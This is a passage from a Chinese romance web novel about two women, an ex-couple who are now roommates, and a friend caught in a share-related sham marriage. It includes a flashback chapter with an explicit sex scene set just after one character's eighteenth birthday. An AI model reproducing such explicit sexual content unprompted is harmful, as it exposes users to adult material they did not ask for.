“那个时候不都是一家人了吗?股权大头在谁手裏不是一样的吗?”庄玟轻笑,“你妈妈那么宠你,你冲她撒撒娇求求情,不难做到吧?” “岑曳姐!你来评评理啊!” 彼时的岑曳正专心发呆,指腹摩挲着下唇,回忆着昨晚亲吻到姜又柠肌肤的触感。 姜又柠…… 大概真的生她气了。 这位小霸王年龄渐长,脾气也涨了不少。 以往还有雇佣这份关系在,姜又柠还稍稍有所顾忌,现在这层关系没了,恨不得天天骑到她头上耀武扬威啊。 突然被点名,她怔了下,“什么?” 江诗文扫了眼面前的两个女人,此刻真像是在同流合污。 岑曳是事不关己高高挂起的人,母亲也是总部高层,想来也不会掺和到这件事情去。 “没得谈,我走了!”江诗文拎起电脑包就往外走。 “再等会儿,我跟你一起回去。”岑曳抬手拦了下,刚才没怎么听,也不知道这两个人聊了什么,这么快就吵了起来。 比她跟姜又柠干仗的速度还要快。 “算了,改天我们单独吃一顿叙旧饭吧。”庄玟也没了吃饭的心情,对岑曳道了个别就离开了。 正好牛排送了上来,江诗文冷哼一声又坐下,“既然庄玟走了,那我好好吃个饭再走,饿死了。” 岑曳一同坐下,没主动聊起话题。 “岑曳姐,庄氏能跟总部合并已经是占大便宜了吧?还让我妈妈转移部分股权,她怎么敢想得这么美?!”江诗文用叉子狠狠扎进牛排裏,“要我说,她当初没在庄氏上班去总部工作,肯定是早就瞄准了目标,现在开始下手了!沾上了总部的名声,庄氏肯定要一步登天了。” 庄氏合并到总部,江母在总部高层那边也能占据更大的话语权,看似是个双赢的买卖,但究竟谁能得到更多,还得进一步洽谈。 岑曳很快就盘算出了其中的利害关系,依旧沉默地吃着饭。 “我就是跟你吐槽一下,你别跟庄玟说。” 这两个人关系好,江诗文也不好说得太过分。 “话说你跟柠柠怎么回事啊?早上看她气冲冲的,又补卡……”江诗文及时打住后面的话。 “又迟到了?”岑曳勾勾唇。 难道是被她搞得一晚上没睡好? 江诗文瘪瘪嘴,“一提柠柠你就有话讲了哦。” “庄玟的性格你也清楚,她提的事情不是小事儿,你还是跟阿姨尽早沟通,听听她那边的想法。” “我会的,我也该对我妈求个软好好道歉了,我都想她好久了……”江诗文嘆口气,“岑曳姐,我妈妈会原谅我的吧,当初我气冲冲说我肯定能在国内闯荡出来的,现在也还是灰头土脸的,她那个时候肯定很伤心,我耍了个大脾气……” “会的,阿姨她很温柔,对你不是也很宠吗?” “可庄玟刚才那么讲,我就怕我妈让我回国外,我跟柠柠关系好,我觉得在国内生活挺舒服的,不是工作方面,而是生活环境。”江诗文说,“我要是走了,柠柠也会很伤心的。” 她愁眉苦脸的,“我好容易焦虑啊,我现在怎么开始想跟柠柠分别的事情了?不过就算我真回去了,岑曳姐你跟她小时候就认识,现在也是室友,肯定也能互相照顾的。” 岑曳放慢咀嚼的速度,“你跟柠柠认识一年多,有聊过各自家裏的事情吗?” “挺浅的,柠柠虽然看着大大咧咧的,但是不怎么爱谈过去的事情,她说她过得不苦,反而很幸福,就是最后搞得一团糟……”江诗文回忆着跟姜又柠的几次彻夜长谈,“聊着聊着还哭了,问她为什么哭,她说她想回到小时候,初中的那段日子。” “她说她大学就是个普本,奔着能找好工作学的计算机,之后才发现这话是骗人的,大家都要名校毕业的学生。毕业了学校撵人,没能租个合适的房子,地段还行但是是老小区,家裏的东西总是坏,幸好室友很好相处房东也好说话,她也就将就住下来了。柠柠要强,我说我给她补贴房子住到我的小区来,她也不肯,就硬住了几年。还说她努力加班赚钱工作,却总是因为体质问题一直住院,钱也没攒到多少。” 江诗文絮絮叨叨说了很多,“你说看着挺快乐的一个女孩子,怎么喝醉了全是痛苦啊?我没有体会过她说的这些,但看着是挺难受的。” 这话前段时间搬家的时候岑曳听姜又柠说过相似的话,但当时的姜又柠是笑着说的,她听完严肃了很多,姜又柠也就没好意思往下说了。 “不过小时候是挺幸福的,无忧无虑的没那么多麻烦,长大之后事情好多啊,而且也只能自己解决。”江诗文托腮,“柠柠小时候应该是你陪着她的日子比较多吧?岑曳姐,你那个时候应该也没这么爱工作吧?哈哈!” 岑曳扯了扯唇,不过笑意很浅。 “吃好了吗?”岑曳安安静静等她吃完饭,看她点头便带着她一起回了部门。 正是午休时间,姜又柠正趴在工位上睡觉,听见身边拉椅子的动静迷迷糊糊睁开了眼睛。 “你回来了啊诗文?”姜又柠声音哑着,额头上盖了几道红印,脑袋换了个方向继续睡了。 中央空调还在开着,姜又柠只穿着一件短袖。 岑曳抿唇,将小臂上搭着的外套给她盖上了。 江诗文潜意识裏觉得这俩人很熟,所以也没觉得这个动作多暧昧,冲着去办公室的岑曳招手拜拜。 没几分钟,姜又柠的身体倏地抖了下,她趴着没动僵持了几秒钟,然后倚靠着办公椅,茫然地望向面前的空气。 “又做梦踩空了?”江诗文问她。 “我梦到……” 梦到岑曳在抱着她睡。 回过神的姜又柠发现身上多出来的外套,皱了皱眉觉得这外套好熟悉。 “岑曳姐给你盖的,估计觉得空调冷,对着吹不太好,现在都快入秋了。”江诗文说,“早说了你该买两条毯子备在公司替换的,你那条不是刚拿回家洗吗?” 姜又柠拿着烫手的外套,想了想还是放在了一边。 算了,晚上回家还给她好了。 “你跟庄玟聊得怎么样?” “不太好,甚至算聊崩了。”江诗文嘆气,“我晚上去家裏找你吧,我想让你从岑曳那边下手,帮我找找庄玟的缺点。” “可能性大吗?” 这两个人精,她们联合起来一个都骗不过的啊。 “所以要你帮我拉拢岑曳姐啊,你干嘛跟她吵架嘛,有什么矛盾是解决不了的?” “解决不了,根本解决不了。” “要不你也从她前任下手?威胁她,拿捏她?她在国内那个恋爱,你肯定多少知道一点吧?” 说完全不知道不可能,姜又柠只能不确定地点了点头。 “那好办啊,你对她说你要是不帮我,你就把她的感情史大讲特讲!要想成功,什么烂招都得使啊,顾不上脸面了!” 这可是关系到总部股份的重要问题! 她必须为自己的妈妈出一份力! 姜又柠神色复杂,“这烂招真是……” 真是伤敌八百,自损一千啊—— 作者有话说:岑姐:听说你要跟我聊感情史? 小姜:……《 》 25-30 第26章 晚上, 江诗文按照约定去了姜又柠的家裏。 姜又柠是跟岑曳前后脚离开公司的,她直奔地铁口,根本不想多看岑曳几眼。 火气倒是没多少, 就是她现在一看到岑曳这张脸就会立马想到昨晚发生的事情。 明明最开始是她心情不好来着,最后莫名其妙两个人躺在一张床上差点就亲上了? 这绝对是岑曳的问题吧? 没事喝那么多酒干什么? 自控力还没她好! 但她现在需要好好冷静一下。 岑曳也买了圣女果,从角落的泡沫箱裏装了一小碗, 又走回厨房,洗干净之后又走到餐桌那边坐下。 晃来晃去的来回路过, 像是故意的一样, 姜又柠坐在沙发上, 脑子乱糟糟的, 综艺根本都没能集中注意力去看。 客厅内两个人忙着各自的事情,终于因为江诗文的到来而打破了寂静。 “吃饭了吗?”江诗文示意了下手裏的纸袋子,“我买了甜品,一起吃吧。” 她走进来对着岑曳打了声招呼, 转眼就看见茶几上放着的泡面盒子。 “你晚饭就吃这个啊?” “对啊。”泡面姜又柠买了好久都没好意思吃, 毕竟味道太大,她担心岑曳不喜欢。 现在两个人似乎陷入了诡异的冷战当中,这会儿姜又柠才懒得管这女人怎么想的。 两个人盘腿坐在地上吃着甜品,也没话聊。 江诗文只简单讲了几句庄玟的态度,姜又柠只能安慰她, 其余的什么都做不了。 本来就商量好的, 两个人一起把岑曳拉入伙, 这会儿没人好意思主动开口。 而岑曳翻着手上的材料,加班的兴致很高,偶尔拿起一颗圣女果塞进嘴裏,慢条斯理地嚼着, 根本没给这边任何一个多余的眼神。 似乎是察觉到灼热又持久的两道视线,女人淡淡望过来,“我打扰到你们聊天了吗?” 江诗文讨好地笑笑,双手摆了摆,又在茶几下偷偷碰了碰姜又柠,示意她说话。 她来这儿有两件事情要做,一个拉岑曳入伙打探庄玟的秘密,但前提是她答应了岑曳要把她跟姜又柠的矛盾给说开了。 但冷战的原因她甚至都不清楚,这两个人的嘴一个比一个严实,谁都问不出来。 该不会真是她想的那样,岑曳微醺之后把姜又柠认成前任,两个人差点搞到床上去了吧? 可岑曳不像是这种性格的人,姜又柠也不会容忍对方这么放肆的吧? “你俩昨天到底发生什么了?” 看来还是得从姜又柠这裏下手。 闻言,岑曳将注意力稍稍从资料上挪开,微妙地看了一眼紧张兮兮的姜又柠。 “我不是跟你说了吗?岑曳喝醉了,我给她扶到床上就没了。” “那气氛不至于这么尴尬吧?”江诗文自信地说,“我这个人对周围的任何亲近关系感知都非常敏锐,你俩之间一定有问题!” “不小心亲到脸了,就这样。”姜又柠说了事实,悄咪咪看了眼岑曳就跟她对上视线了。 “啊……”江诗文恍然大悟地拉长了尾音,“这样啊……” “那就是不小心嘛,我还是没懂为什么这么尴尬。” 姜又柠抿抿唇,“岑曳,诗文喊你问关于庄玟的事情。” 豁出去了。 相比于在冷战的时候主动喊岑曳和跟岑曳是前任被暴露出来这件事,还是后者她会更没脸见人一些。 反正她在岑曳面前作威作福惯了,不差这一次。 “这么直接问她不会同意的吧?”江诗文了解岑曳事不关己的性格,刚问出口,女人就合上了手中的材料朝着茶几走了过来,在她瞪大双眼震惊的状况下也盘腿坐在了地上。 这还是国外那个一丝不茍,爱干净,讨厌垃圾食物的工作狂岑曳吗? 姜又柠有眼色地把泡面汤倒进水槽裏,扔进垃圾桶之后才返回来。 岑曳先是抽了张纸巾擦了擦茶几上不仔细看就看不到的污渍,抬眼问,“问过你妈妈了吗?” “下午回公司就问了,她说现在谈股权的事情太早,得先领了证事情才能往下进行,不然我们两家关系都扯不到一起。”江诗文郁闷得很,“我现在怎么有一种为钱为权牺牲的感觉啊,我妈妈明明是很爱我的……” “那就谈条件,拿你想在国内生活这一点去跟阿姨讲。”岑曳不拖泥带水,“我只能给你这一个办法,我跟你还有庄玟都认识,还涉及到总部高层的抉择,我不太方便过多参与。” “那我这周末跟庄玟私下再见一次,你跟柠柠能不能陪我去啊?”江诗文嘆口气,“她看着压迫感重,我压不过她。” “去!我能陪你去!”姜又柠本就因为自己给不了好的解决办法而愧疚着,之前她遇到麻烦江诗文会立即帮她的,但现在这件事情太重要了她怎么也没办法回报她,所以一听到自己能做的事情立马就点头同意了。 岑曳张了张唇,颇为无奈。 “岑曳也会去的。”姜又柠转头看向女人,“对吧?” “岑曳姐,那就太谢谢你了!”江诗文跟姜又柠格外有默契,没等岑曳开口就把她后面的话给拦住了。 岑曳塞了颗圣女果进嘴裏,沉默了,姜又柠见状,也拿了颗,“你买的圣女果好像比我买的要甜啊!岑曳,你真能干!” 江诗文也跟着点头,“对了岑曳姐,你跟庄玟在总部一起工作那么久,总能知道她一些小毛病吧?” 她食指拇指合并在一起,“让我拿捏一下!” “她要是不合你的意,把假结婚的事情透露到总部不就好了?” “那怎么行?”江诗文被岑曳轻飘飘说出口的话吓了一大跳,“那我也要完蛋了!” 姜又柠嗔怪地看了眼岑曳,安抚江诗文,“她逗你的,你还真信啊?” 江诗文抱住并拢的双腿,压低声音道,“柠柠,你抽空帮我问问,我每次问岑曳姐事情,她都不肯告诉我,我看她还挺乐意告诉你的。” 姜又柠愣了下,“是吗?” 有这么明显吗? 但小时候她说什么岑曳都会同意倒是真的,现在可不一定了。 手机响了,江诗文看了眼就站起来,“我不待了,我妈来视频了,下午上班没跟她仔细讲,今天都周四了,我得抓紧时间听听她的意见。” 姜又柠把她送到门口,江诗文往她身后看了看,“柠柠,你跟岑曳姐合租之后,我每次来你这儿做客就有一种很奇怪的感觉。” “哪裏奇怪啊?” “就是,岑曳姐莫名有种家属感,像上次我们喝酒,她特别自然地就去煮醒酒汤了。”江诗文回忆着,“刚才我怕她不参与我们说话,甚至不好意思问,但你一喊她就过来了,还跟我们一起坐在地上!她现在在洁癖上面的强迫症是已经缓解很多了吗?” “没有吧,应该是觉得家裏干净才这样的。” 姜又柠没有承认是她小时候非要拉着岑曳跟自己一起坐在地上的,习惯很难改,时间长了,这个行为在她们之间好像就是一种非常自然的事情了。 “还有啊,你有没有发现你答应我的时候,根本就没问过岑曳姐的意见,我看她也没再说拒绝的话,沉默应该算是接受吧?” “算,算吧。” 江诗文果然在亲密关系这方面格外敏锐,这些细节不是好朋友之间能够做到的,是交心的家人或者是亲密的恋人。 “所以你就帮我打探一下庄玟的秘密呗!岑曳姐肯定也会对你知无不言言无不尽的!” “行,我帮你问问,但不保准能问出来啊。” 得到了心满意足的答案之后,江诗文就开心地回了家。 关上门之后,姜又柠看见沙发上盯着综艺看的女人,烦躁地嘆了口气。 她该怎么问? “这个综艺就只有戴耳机传声筒这一个游戏吗?”岑曳还是没能捕捉到任何笑点。 “这个好笑啊,每期嘉宾都会做吧。” 姜又柠走到她身边坐下,拿起碗递到她身边,“圣女果,你吃。” 岑曳倒不客气,拿了颗往嘴裏塞。 “你跟庄玟在总部的时候,每天都一起工作吗?” “一起做过项目,接触得确实比较频繁。”岑曳换了频道,将电视声音调低了些。 “那她工作能力应该很强吧?” “现在不都是对接人了吗?工作能力不是很明显?” “那她性格怎么样啊?你跟她吵过架吗?” 岑曳顿了下,转头对上她的视线,“姜又柠。” “干嘛?” 岑曳很少喊她大名,哪怕现在不怎么喊柠柠了,跟她说话也都是没有称呼地直接开口。 过去岑曳喊她大名的情况也只有在被她上蹿下跳的鬼主意弄得头疼,或者在她濒临失/禁的时候故意喊她大名要她更加羞耻动容。 “你老是提庄玟干嘛?” 这话上次岑曳就问过了,当时的姜又柠被问住了,这次她早有预料。 她的身子往后一仰,冷哼一声,“你在总部跟庄玟是好朋友,跟她天天近距离接触,我现在就是问一两句,你有什么好生气的?” 岑曳莫名其妙被反将一军,勾勾唇笑道,“你吃醋了?” “我呸!”姜又柠吐了口空气,“你爱跟谁接触就跟谁接触!我在国内我也能跟一百个女人接触!” 岑曳冷声道,“跟谁?” 察觉到身边女人微妙的情绪变化,姜又柠更加来劲了,“那能让你知道吗?” 她双手抱胸,“怎么啦?你吃醋啦?” “是,我是吃醋了。”岑曳果断地回答,“一看到你跟别的女人接触我就酸得很,所以考虑一下,跟你周围所有的女人全部断绝关系吧。” 姜又柠立即哑言,“……你现在脸皮怎么这么厚。” 歪办法问不出想要的,姜又柠只能说了实话,“懒得跟你掰扯,我是帮诗文问的,你肯定清楚的,非要跟我狡辩刚才那些话。” “她这不是简单领个证就能结束的,涉及到股权分配,这种除了利益还是利益的事情,你也不要过多参与。” “我是不懂这些嘛,但我想帮帮忙啊,诗文人特别好的,我每次遇到麻烦她都帮我,我也想给她尽一份自己的力量。” “关照一下她的情绪就好了,其它的就少问少讲。”岑曳在这方面说一不二,格外坦然,“庄玟处理事情的时候不讲感情,只讲个人利益,你跟她也少接触。” “她很冷血吗?” “凭借能力往上爬而已,你会为了不在意的人放弃自己的利益吗?” 姜又柠摇摇头,她安安静静想了几分钟,又问,“是不是因为岑家在总部那边也有股份,所以你不想参与?如果站在朋友的角度,你肯定也会为庄玟想办法吧?” 她确实不懂什么商场如战场,她只知道现在江诗文很麻烦,她帮她问一个把柄出来就好了,也没涉及到什么钱什么权。 可岑曳跟她啰啰嗦嗦絮叨了一大堆,她没听到一个想要的答案。 “庄玟和诗文,都是我的朋友。” 这话说得也没错,姜又柠找不出反驳的话,但心脏莫名被击中了下,有点苦涩。 对啊…… 庄玟和江诗文都是岑曳在国外的朋友,可她自己呢? 就像从岑曳的世界裏彻底消失了一样。 “在总部那边很幸福吧?”姜又柠垂下头,语气暴露了明显的酸涩,“虽然很忙,但是你想要的努力向上奋斗的工作,还有跟你志同道合的朋友,诗文跟我性格像,你跟她相处的时候她肯定也有把你逗乐的时候。” 好像,她在岑曳那裏不是什么不可替代的人。 “为什么这么急着撇清自己呢?”岑曳捕捉到了姜又柠突然涌上来的情绪,“我在国外过得并不好。” 跟姜又柠不愿多说的辛苦的日子一样,她的每一天都过得格外煎熬。 她不需要衣装来打点自己,也不喜欢虚假的社交。 她只怀念过去在国内岑家的时候,姜又柠灿烂的笑,嚣张的挑衅,可怜兮兮的眼泪…… 日子裏充满酸甜苦辣,但却满是真心。 “那么有钱了有什么不好的,也有人脉啊。” 一聊到这些姜又柠的脑子就发昏不怎么转了,她总是会变得语无伦次,不知道在说些什么。 她怕岑曳提起分别,提起痛苦的吵架和分手。 这辈子她所有的好运气都花在遇到岑曳上面了,可为什么遇到如此喜欢的人,还会把日子过得这样糟糕呢? “不是我要主动去总部的,姜又柠。” “你在我这裏把黑的讲成白的,白的说成黑的我都能顺着你。”岑曳语气咬重,“但唯独这一点,你别想说服我。”—— 作者有话说:岑姐:当初不是我提的分手吧? 小姜:……哦。 第27章 姜又柠过完十八岁生日那天, 两个人确认了关系。 她生性爱玩,长达三个月的暑假就约着高中同学一起出门旅游。 姜鸿英也支持她,给她转了几千块钱, 不要不准她跑太远,要以安全为准。 没了补课的理由,岑曳这个暑假让姜鸿英来得就比较频繁了。 她没听岑千兰的安排直接去国外总部, 毕业之后就入职了本地的一家大公司,工作比较忙, 早出晚归的, 每次姜鸿英来都会做一大桌子菜要她好好补一补。 姜又柠也能沾个光, 吃上一顿好的。 “旅游的日子定好了?”岑曳给姜又柠夹菜, “准备去哪儿?” “去海边啊!”姜又柠给她看了看自己手机上做的计划,“我搜了下着名景点,我这次要好好做个计划。” 她点了好几下,手机的反应都格外迟钝。 手机她用的是姜鸿英的旧的, 高一到现在也三年了, 不过她不打游戏,也就上个网聊聊天,卡点儿也不在乎。 “你不是下周要出差吗?”姜又柠注意着旁边姜鸿英,压低声音讲,“我下周出去玩!” “玩多久?” “你什么时候我就什么时候回来。”姜又柠乐呵呵的, “反正我不想……” 不想一个人在家。 这句话她不用说完, 岑曳只看她的眼神就能懂。 姜鸿英只吃着面前的素菜, 哪怕雇主允许她一起吃,也很有眼色地不去夹贵菜。 姜又柠倒是张扬惯了,尤其岑曳现在是她女朋友,她当然更能想做什么做什么了。 她夹起一块大虾放进碗裏, 被姜鸿英皱着眉头碰了碰小臂。 “阿姨,她爱吃就让她多吃一些。”岑曳开口道,“她体质不行,更得多吃些好的补补。” 姜鸿英无奈,戳了戳姜又柠的脑袋,“你可算找到给你撑腰的了。” 姜又柠得意得很,这顿饭吃得无比愉快。 饭后,岑曳将一早就准备好的新手机拿在手上,放到了一旁的箱子裏。 那箱子都是别人送过来的礼物,岑曳偶尔有兴致就去翻一翻。 “还有巧克力吃吗?”姜又柠跟在她屁股后面,“我看看。” 岑曳找出几盒巧克力给她,又拿出了手机,“这个也给你吧。” “手机?这太贵重了吧?” “反正堆在这儿箱子裏没人用,你的手机也该换了。”女人说,“拿着吧。” 如果坦白了是她买的,姜又柠不会收的。 姜又柠虽然性格皮了点儿,但分寸还是很足的,平常贪吃一下就算了,真涉及到钱这方面她心裏面算得可清楚了。 “那我拿着了?”姜又柠将手机盒抱在胸口,“你说我一打开,发现裏面是十万块钱怎么办?” 岑曳被她逗乐,“想什么呢。” “我看电视裏经常有这种情况嘛。”姜又柠笑容就没散过,“别让我妈知道了,她已经知道我之前那些巧克力都是从家裏拿的,骂我好几次了。” “是吗?”岑曳皱皱眉,“下次再有这种情况让我来跟她说。” “不用啊,我说是你扔进垃圾桶我自己偷偷捡回来吃的。”姜又柠自己说着都乐,“这箱子裏好像真能把所有的东西都变出来。” 几年裏,她在这箱子裏拿走太多东西了。 零食,玩具,电子产品…… “下次该不会轮到房产证了吧?那个时候也能送我吗?” “喜欢房子?”岑曳认真看她。 “喜欢啊。”姜又柠点点头,“我做梦都想有一套属于自己的房子。” 姜鸿英二十多岁独自来市区发展,后来生下她,她们母女二人一起相依为命到现在,能住的地方一直是家政公司的集体宿舍。 “以后我们买一套,一起住进去好不好?” 姜又柠眼睛亮了亮,“那我也会努力赚钱的!” 她不问能不能,可不可以,她想跟岑曳有一个自己的家。 姜鸿英将餐桌和厨房都收拾得干干净净,姜又柠便跟她讲要跟同学晚上再约一次。 姜鸿英点头同意,但还是单独把姜又柠拎到门口,“晚上又要住在岑家啊?” 姜又柠抿抿唇,没有说话。 “妈妈不是给你钱了吗?不要我再转给你一些,你嫌集体宿舍吵的话可以住到酒店去。你现在也是个十八岁的姑娘了,不是小孩子了,岑曳她现在工作也忙,你不要打扰到她下班之后的休息时间。” “我知道了。”姜又柠点点头。 “手裏拎的什么?”姜鸿英看了眼她手上的袋子,没有仔细看,习惯性地叮嘱,“不要再拿雇主家的东西了,长大之后也该懂点事儿。” “还是巧克力,没什么贵重的东西。”姜又柠下意识反驳,但又觉得后面那句太突兀了。 “免费的就是最贵的。”姜鸿英不高兴,“你喜欢吃妈妈也可以给你买,就是这些零食好多都是国外来的,妈妈得学一学怎么买。” “不用了妈,我以后不吃这些了。”姜又柠为难得很,“你快回家休息吧。” 姜鸿英看了看她,无奈地嘆了口气之后骑着电动车就回了宿舍。 电动车的灯光也消失在视线范围内之后,姜又柠就返回了岑家。 岑曳刚刚切好水果放在了茶几上,姜又柠高兴地跑过去搂住她,“我妈妈回去了!” “又耍了什么花招?” “她让我去酒店睡,不让我在这裏过夜。”姜又柠轻轻地哼了一声,“我可是又为了你撒谎了?你准备怎么奖励我?” 女人搂过她,掌心落在她的后腰上,“撒谎还找我讨奖励?” “不行吗?反正我说了算!”姜又柠踮起脚尖去亲她的嘴唇,“本来不想这么快去旅游的,但你下周要出差,没办法……” “我可能要出差一周。”岑曳问她,“你只想旅游一周吗?” “可是我想见你,我更喜欢跟你待在一起。” 岑曳思索了下,眉眼含笑地盯着她看,“我还有三天年假。” “年假是什么意思?”姜又柠似乎猜中了女人的话,“我们能一起去旅游吗?” “想吗?” “想啊!”姜又柠高兴地在她怀裏又蹦又跳,“我们去哪裏?只有我们两个人吗?” 她说完又冷脸威胁道,“必须只能有我们两个!” “嗯……我考虑一下吧。”她轻笑道,“看你表现。” “岑曳!”姜又柠愤愤去咬她的唇。 跟最开始到岑家一样,姜又柠只有在确认关系之后小心翼翼了两三天就变得张牙舞爪。 她主动用舌头抵开女人的双唇,用牙齿咬她的舌尖。 亲吻生涩又卖力,在这个时候也要岑曳任由着她胡闹。 岑曳抱紧了她,给足了她张扬的空间。 最后姜又柠把自己吻得来了感觉,眼睛湿漉漉的,双颊绯红。 “亲够了吗?”岑曳哑声问她。 姜又柠冷哼一声,懒得回答。 下一秒屁股就被拍了下,姜又柠蹙着眉头,“岑曳你——” 后面的话被女人堵了回去,这个吻带了不容抵抗的侵略性,让姜又柠本就乱糟糟的脑子变成了一团乱麻。 细微的喘息声逐渐密了很多,姜又柠下意识闭上了眼睛,感受着女人温热的唇吻她的嘴角,下巴,脖颈,最后再次落回到唇齿间。 她攥紧了女人的衬衫,氛围迷离暧昧,身子也开始发软。 岑曳托住了她的后脑勺,不准她逃离,也不准她抗拒,一点点剥夺掉她最后的呼吸。 肌肤紧贴着,姜又柠紧攥女人衣衫的手松了又张开,胡乱之间触碰到她的柔软,又瑟缩地收了回来。 但缺氧感攀登到极限的时候,姜又柠就受不了了,她的手抓了下,“……岑曳!” 岑曳蹙眉,“乱抓什么?” 短暂的对话让姜又柠终于得到大口呼吸的机会,“抓你怎么了!” 她用食指戳了戳她的胸,“摸都不让摸!小气!” “行,大方一回。”岑曳将她抱起来朝着卧室走,生日那晚的记忆一瞬间让姜又柠的身体裏窜过一阵电流。 她现在是真信她那些早恋的同学跟她讲的,只是想一想某些事情就会下意识一颤的感觉。 她可算是体会到了。 姜又柠靠在床上,岑曳就站在她面前,修长的手指一颗颗解开自己的衬衫扣子。 她别扭地挪开了视线,女人半跪在床上,手禁锢住她的下巴将她的脑袋掰回来,“怎么不看了?” 这样一跪一坐的状况让岑曳的视线比她高出不少,姜又柠直接来了个正面暴击。 “我,我是个正直的人,我的脑子裏只有学习,你不要试图勾引我!” “柠柠……”岑曳凑近她的脸,指尖勾着她的脸颊,细细刮挠,最后顺着她的耳廓下滑,揉捏着她的耳垂。 姜又柠最受不住她这样喊自己,亲昵的语气裏掺杂了浓烈的情/欲。 岑曳在她面前,从来不避讳一丝一毫的欲/望。 姜又柠推了下,岑曳顺势起了身走远了几步。 “怎么走了……”她低声嘟囔几句,发现岑曳将灯关掉了。 窗帘拉得严严实实的,她的眼睛没能立即适应黑暗,什么都看不太清。 直到舌尖舔舐着她的耳垂,含在唇间轻吮。 岑曳喜欢这样吃她,唇顺着撩开衣服的手一点一点落下,白皙的肌肤添上暧昧的红印,两枚红粒也湿漉漉地染着颤。 姜又柠依旧看不太清,眸光完全被水雾模糊了个彻底。 她不安地挣扎,小腹却被女人按住。 掌心刮动瀑处,她咬唇隐忍,拢了下腿,脑子嗡嗡嗡响个没完。 “柠柠,你好像一直都很期待啊。”女人在她耳边轻轻地笑,指尖抿了下掌心的水渍,五指合并,接连不断地轻扇。 “岑曳……岑……”姜又柠不想甜甜地喊她姐姐了。 这个时候,她觉得岑曳真坏,一点儿都不像平时对她百般照顾的姐姐。 岑曳再次吻上她的唇,捋起的袖口被彻底打湿了,偶尔还有细丝黏在女人的手腕上,看起来靡靡至极。 姜又柠觉得这一点也不公平,明明这话题是岑曳最先挑起来的,怎么现在她身上光秃秃的,但岑曳却还穿着白色的衬衫,只是将扣子敞开了? 羞耻感似乎更重了。 女人按住她的余颤,手蹭了蹭她的脸,指尖落在她鼻尖,“瞧,都是你的味道。” 姜又柠侧了下头,岑曳便将手指伸进了她的唇,指尖在她舌头上蹭。 海盐味儿让姜又柠抑制不住地哭出声来,她真是被这个女人折磨得头皮发麻,双眸失光。 事后岑曳便抱住她,拍着她的后背轻吻,安抚着她的情绪。 “我好渴……” 岑曳闻言,起身给她倒了杯热水。 姜又柠乖乖坐起来,赤/裸的后背出了汗,这会儿没躺在床上,冷意刺激她得颤了下。 女人用被子包裹住她,接过她的空杯子问,“还喝吗?” “喝。”姜又柠拢了拢被子,意识逐渐回神,茫然地望向前面湿了一大片的床单。 她双手捧着水杯,“姐姐,要是能永远跟你在一起就好了。” “说什么傻话呢?”岑曳从衣柜裏拿了件干净的衣服换上,又示意她坐到旁边的软椅上,准备换掉湿漉漉的床单。 “我就是感慨一下,我们高三班裏也有早恋的,还有从高一谈到高三的,但是她们报完志愿拿到录取通知书之后就分手了,虽然是不同省份的大学,但都不打算坚持一下吗?甚至都熬不到开学。” “高三也不是小孩子了,有自己的未来规划分开也正常。” “可我不会哦,我才不会因为去别的地方上大学或者工作就跟你分手的。”姜又柠自信得很,“而且我现在就在本市上大学,你也在本市最好的公司上班啊。” 见女人只是笑笑,姜又柠又固执地重复,“我是个能对自己做的选择负责的人,而且我就是喜欢你呀!” 岑曳将脏床单卷成一团,“那我可就信了?” “又是这种逗小孩儿的语气。”姜又柠一本正经地纠正她,“我现在不是你的妹妹,是你的女朋友!” “好好好,女朋友,现在你是不是应该考虑一下我们之后一起去哪裏玩儿?” 姜又柠从衣柜裏随便找了套女人的睡衣穿在身上跟着她,“我妈妈不让我跑得太远,不然我都想出国了,我在手机上搜过穷游,一万块钱够玩一星期的。” “想出国啊?” 姜又柠想了想,还是摇了摇头,“算了,还是在国内玩儿吧,我怕我妈妈知道,万一她生气,不让我来你这儿就完蛋了。” 她笑眯眯地挽过女人的小臂,“还是等我上了大学之后再考虑吧!” 岑曳打开水龙头洗手,姜又柠能够看得见她略微泡涨的指腹,“那个床单要不我来洗吧?别跟脏衣服堆到一起了。” 这也属于住家家政的工作,但姜鸿英毕竟是成年人,该懂的事情一下子就能明白,她真怕姜鸿英发现什么。 岑曳比她想得周到,已经开始往洗衣机裏倒洗衣液准备洗床单,但还是故意这么问,“胆子这么小啊?” “我们这算是地下恋情,我妈妈是我最忠诚的大粉,她希望我搞事业也就是搞学习,我现在是大一新生,正是事业上升期,在她眼裏是万万不能恋爱的啊!” “最近迷上追星了?” “没有,我一同学最近放假了没事儿做,她喜欢的那个艺人最近粉圈很不太平,给我分享了一大堆瓜吃,看着还挺有意思的。” 岑曳笑笑,嘱咐她洗澡早些睡觉,刚好遇到周末,她们可以一起去商场买些旅游携带的日用品。 又一次在岑曳的房间睡下,姜又柠的困意来得很快。 “姐姐,以前从来没想过我的生活可以这么幸福。”她枕着女人的胳膊,开心的情绪表露得很明显,“要是能永远这么幸福就好了。” 她跟着姜鸿英去了好几家雇主的家裏,只有岑曳对她好。 “我命也太好了吧!”姜又柠的脑袋蹭了蹭她,岑曳摸摸她的脑袋,像在rua一只乖巧的猫咪。 她的手搂过女人的腰,一条腿抬起来挂在她身上。 姜又柠又要养成一个坏习惯了,每次跟岑曳一起睡觉的时候,她总喜欢这样缠着她。 岑曳为什么抱着那么舒服那么温暖,她怎么都不想松开她。 “是我运气好。”岑曳笑了笑,“能遇到你这么个开心果。” 岑家也请过好几个家政,但很看运气,要么活儿干得不利索,要么工做久了就要加薪水,还要反过来对雇主提要求。 岑曳倒无所谓,不过就是个做饭和打扫家裏的,只要能干净就好了。 可岑千兰看人挺准的,她可以给钱,但没办法允许没皮没脸的人赖在家裏,况且岑曳是她唯一的女儿,有些家政见她长时间不在家,就爱欺负年纪小的。 姜鸿英虽然带着个女儿,但做事麻利经验足,在家政公司那边名声也好,没多久岑千兰就签了一份长期合同。 姜又柠活泼得很,自打住进来家裏热热闹闹个没完,黑白灰暗调的家裏总算多了些人情味儿。 锅碗瓢盆的碰撞声和姜又柠哈哈大笑的畅快声,确实要比那些带着目的来家裏拜访岑千兰的马屁声要强太多。 人精的孩子也是人精,朴素的中年妇女的女儿也是个单纯没心机的小姑娘。 姜又柠待在岑家的每一秒钟,岑曳的心情都是放松且舒适的。 没有阿谀奉承,没有利益往来,姜又柠觉得她对她好,觉得她是个好姐姐。 而岑曳也心甘情愿给她当姐姐。 当一辈子她的姐姐,她的女朋友,她的爱人—— 作者有话说:[害羞][害羞] 第28章 一周之后, 两个人在机场见了面,一起去看了海。 姜又柠的手机上满满的都是攻略。 她要岑曳陪她吃游客热卖的当地美食,价格不算便宜但味道也实在一般。 岑曳真放心跟着她到处走的, 